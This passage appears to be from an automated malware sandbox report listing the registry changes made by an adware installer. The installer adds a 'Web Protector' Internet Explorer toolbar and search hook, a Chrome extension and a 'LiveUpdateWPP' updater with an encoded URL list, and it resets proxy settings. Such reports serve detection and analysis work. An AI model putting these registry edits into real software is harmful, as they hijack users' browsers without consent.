[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process nsyE0A0.tmp:1600 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "3E ED 99 20 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\nsProcess.dll,"

[HKLM\SOFTWARE\Wow6432Node\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko]
"update_url" = "http://clients2.google.com/service/update2/crx"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\WebProtectorPlus]
"SID" = "OTgxMw=="

[HKCU\Software\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko]
"update_url" = "http://clients2.google.com/service/update2/crx"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4A 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "95 CD 2A 45 27 83 D0 01"

[HKLM\SOFTWARE\WebProtectorPlus]
"Gid" = "B383C50E-64C2-48C7-800E-B0CA2B58196C"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process uinst.exe:3856 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "4C 44 20 80 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 55 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\LiveUpdateWPP]
"Publisher" = "Anti-phishing database updater for Web Protector Plus. This service keeps your computer updated with the newest database of known Internet threats."

[HKLM\SOFTWARE\Wow6432Node\LiveUpdateWPP\LiveUpdateWPP]
"Src" = "9813"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\LiveUpdateWPP]
"UninstallString" = "%Program Files% (x86)\LiveUpdateWPP\LiveUpdateWPP_uninstaller.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\LiveUpdateWPP\LiveUpdateWPP]
"inter" = "43200"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKLM\SOFTWARE\Wow6432Node\LiveUpdateWPP\LiveUpdateWPP]
"urls" = "3Kbcuty63L7cvd203aHdodyj3K/cqtyv3Kncr9y93K3cr9y83Krcodyj3K/cp9yg3aDcrdyh3KPdody93KvcvNy43aDcvtym3L4="
"ID" = "{E7875669-BB28-462E-BE68-71C7238AA8F4}"
"last" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\LiveUpdateWPP]
"DisplayName" = "LiveUpdateWPP"

[HKLM\SOFTWARE\Wow6432Node\LiveUpdateWPP\LiveUpdateWPP]
"lcid" = "10"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process uinst.exe:3036 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "95 CD 2A 45 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4B 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\LiveUpdateWPP]
"Publisher" = "Anti-phishing database updater for Web Protector Plus. This service keeps your computer updated with the newest database of known Internet threats."

[HKLM\SOFTWARE\Wow6432Node\LiveUpdateWPP\LiveUpdateWPP]
"Src" = "9813"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\LiveUpdateWPP]
"UninstallString" = "%Program Files% (x86)\LiveUpdateWPP\LiveUpdateWPP_uninstaller.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\LiveUpdateWPP\LiveUpdateWPP]
"inter" = "43200"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKLM\SOFTWARE\Wow6432Node\LiveUpdateWPP\LiveUpdateWPP]
"urls" = "3Kbcuty63L7cvd203aHdodyj3K/cqtyv3Kncr9y93K3cr9y83Krcodyj3K/cp9yg3aDcrdyh3KPdody93KvcvNy43aDcvtym3L4="
"ID" = "{3D38404C-DF40-4DAA-A4FF-6CF94BA6576C}"
"last" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\LiveUpdateWPP]
"DisplayName" = "LiveUpdateWPP"

[HKLM\SOFTWARE\Wow6432Node\LiveUpdateWPP\LiveUpdateWPP]
"lcid" = "10"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process uinst.exe:2812 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "C3 57 96 CD 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 68 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\LiveUpdateWPP]
"Publisher" = "Anti-phishing database updater for Web Protector Plus. This service keeps your computer updated with the newest database of known Internet threats."

[HKLM\SOFTWARE\Wow6432Node\LiveUpdateWPP\LiveUpdateWPP]
"Src" = "9813"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\LiveUpdateWPP]
"UninstallString" = "%Program Files% (x86)\LiveUpdateWPP\LiveUpdateWPP_uninstaller.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\LiveUpdateWPP\LiveUpdateWPP]
"inter" = "43200"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKLM\SOFTWARE\Wow6432Node\LiveUpdateWPP\LiveUpdateWPP]
"urls" = "3Kbcuty63L7cvd203aHdodyj3K/cqtyv3Kncr9y93K3cr9y83Krcodyj3K/cp9yg3aDcrdyh3KPdody93KvcvNy43aDcvtym3L4="
"ID" = "{11DA3D55-09E3-4F9F-8E2D-EE9FD4CCF471}"
"last" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\LiveUpdateWPP]
"DisplayName" = "LiveUpdateWPP"

[HKLM\SOFTWARE\Wow6432Node\LiveUpdateWPP\LiveUpdateWPP]
"lcid" = "10"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process powershell.exe:2380 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:3292 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:992 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

The process ein.exe:3824 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"DisplayIcon" = "%Program Files% (x86)\WebProtector\webprotector_uninstaller.exe"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"DisplayVersion" = "1.0.0.2"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"CLSID" = "{1FBA04EE-3024-11d2-8F1F-0000F87ABD16}"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\Instance]
"(Default)" = ""

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\Instance\InitPropertyBag]
"URL" = "about:blank"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"DisplayName" = "Web Protector IE"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\InprocServer32]
"(Default)" = "%Program Files% (x86)\WebProtector\WebProtector.dll"

[HKLM\SOFTWARE\Wow6432Node\WebProtector]
"Path" = "%Program Files% (x86)\WebProtector"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"UninstallString" = "%Program Files% (x86)\WebProtector\webprotector_uninstaller.exe"
"NoRepair" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"Icon" = "%Program Files% (x86)\WebProtector\btn.ico"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"Publisher" = "WebProtector"
"URLInfoAbout" = "http://web-protector.net"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"ButtonText" = "Web Protector"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\URLSearchHooks]
"{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}" = ""

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\ProgID]
"(Default)" = "WebProtector.toolbar.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\URLSearchHooks]
"(Default)" = "{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"NoModify" = "1"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}]
"(Default)" = "WebProtector"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Toolbar]
"{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}" = "Web Protector Toolbar"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"ClsidExtension" = "{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}"
"Default Visible" = "yes"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\VersionIndependentProgID]
"(Default)" = "WebProtector.toolbar"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"HotIcon" = "%Program Files% (x86)\WebProtector\hotbtn.ico"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Explorer Bars\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]

The process ein.exe:1924 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"DisplayIcon" = "%Program Files% (x86)\WebProtector\webprotector_uninstaller.exe"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"DisplayVersion" = "1.0.0.2"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"CLSID" = "{1FBA04EE-3024-11d2-8F1F-0000F87ABD16}"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\Instance]
"(Default)" = ""

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\Instance\InitPropertyBag]
"URL" = "about:blank"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"DisplayName" = "Web Protector IE"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\InprocServer32]
"(Default)" = "%Program Files% (x86)\WebProtector\WebProtector.dll"

[HKLM\SOFTWARE\Wow6432Node\WebProtector]
"Path" = "%Program Files% (x86)\WebProtector"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"UninstallString" = "%Program Files% (x86)\WebProtector\webprotector_uninstaller.exe"
"NoRepair" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"Icon" = "%Program Files% (x86)\WebProtector\btn.ico"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"Publisher" = "WebProtector"
"URLInfoAbout" = "http://web-protector.net"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"ButtonText" = "Web Protector"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\URLSearchHooks]
"{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}" = ""

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\ProgID]
"(Default)" = "WebProtector.toolbar.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\URLSearchHooks]
"(Default)" = "{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"NoModify" = "1"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}]
"(Default)" = "WebProtector"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Toolbar]
"{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}" = "Web Protector Toolbar"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"ClsidExtension" = "{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}"
"Default Visible" = "yes"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\VersionIndependentProgID]
"(Default)" = "WebProtector.toolbar"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"HotIcon" = "%Program Files% (x86)\WebProtector\hotbtn.ico"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Explorer Bars\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]

The process ein.exe:2488 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"DisplayIcon" = "%Program Files% (x86)\WebProtector\webprotector_uninstaller.exe"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{CCC7B14F-1D8C-11E3-B2AD-F3EF3D58318D}\1.0\FLAGS]
"(Default)" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"DisplayVersion" = "1.0.0.2"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"CLSID" = "{1FBA04EE-3024-11d2-8F1F-0000F87ABD16}"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\Instance]
"(Default)" = ""

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\Instance\InitPropertyBag]
"URL" = "about:blank"

[HKCR\Interface\{3050F3EE-98B5-11CF-BB82-00AA00BDCE0B}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{CCC7B150-1D8C-11E3-B2AD-F3EF3D58318D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{3050F3EE-98B5-11CF-BB82-00AA00BDCE0B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{CCC7B150-1D8C-11E3-B2AD-F3EF3D58318D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\TypeLib\{CCC7B14F-1D8C-11E3-B2AD-F3EF3D58318D}\1.0]
"(Default)" = "sf_tblib"

[HKCR\Wow6432Node\Interface\{CCC7B150-1D8C-11E3-B2AD-F3EF3D58318D}\TypeLib]
"(Default)" = "{CCC7B14F-1D8C-11E3-B2AD-F3EF3D58318D}"

[HKCR\Wow6432Node\Interface\{3050F3EE-98B5-11CF-BB82-00AA00BDCE0B}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{CCC7B150-1D8C-11E3-B2AD-F3EF3D58318D}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\InprocServer32]
"(Default)" = "%Program Files% (x86)\WebProtector\WebProtector.dll"

[HKLM\SOFTWARE\Wow6432Node\WebProtector]
"Path" = "%Program Files% (x86)\WebProtector"

[HKCR\TypeLib\{CCC7B14F-1D8C-11E3-B2AD-F3EF3D58318D}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\WebProtector"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"NoRepair" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"Icon" = "%Program Files% (x86)\WebProtector\btn.ico"

[HKCR\Wow6432Node\Interface\{CCC7B150-1D8C-11E3-B2AD-F3EF3D58318D}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"Publisher" = "WebProtector"
"URLInfoAbout" = "http://web-protector.net"
"DisplayName" = "Web Protector IE"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"ButtonText" = "Web Protector"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\URLSearchHooks]
"{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}" = ""

[HKCR\Interface\{CCC7B150-1D8C-11E3-B2AD-F3EF3D58318D}\TypeLib]
"(Default)" = "{CCC7B14F-1D8C-11E3-B2AD-F3EF3D58318D}"

[HKCR\Wow6432Node\Interface\{CCC7B150-1D8C-11E3-B2AD-F3EF3D58318D}]
"(Default)" = "IToolbarMainBrowser"

[HKCR\TypeLib\{CCC7B14F-1D8C-11E3-B2AD-F3EF3D58318D}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\WebProtector\WebProtector.dll"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\ProgID]
"(Default)" = "WebProtector.toolbar.1"

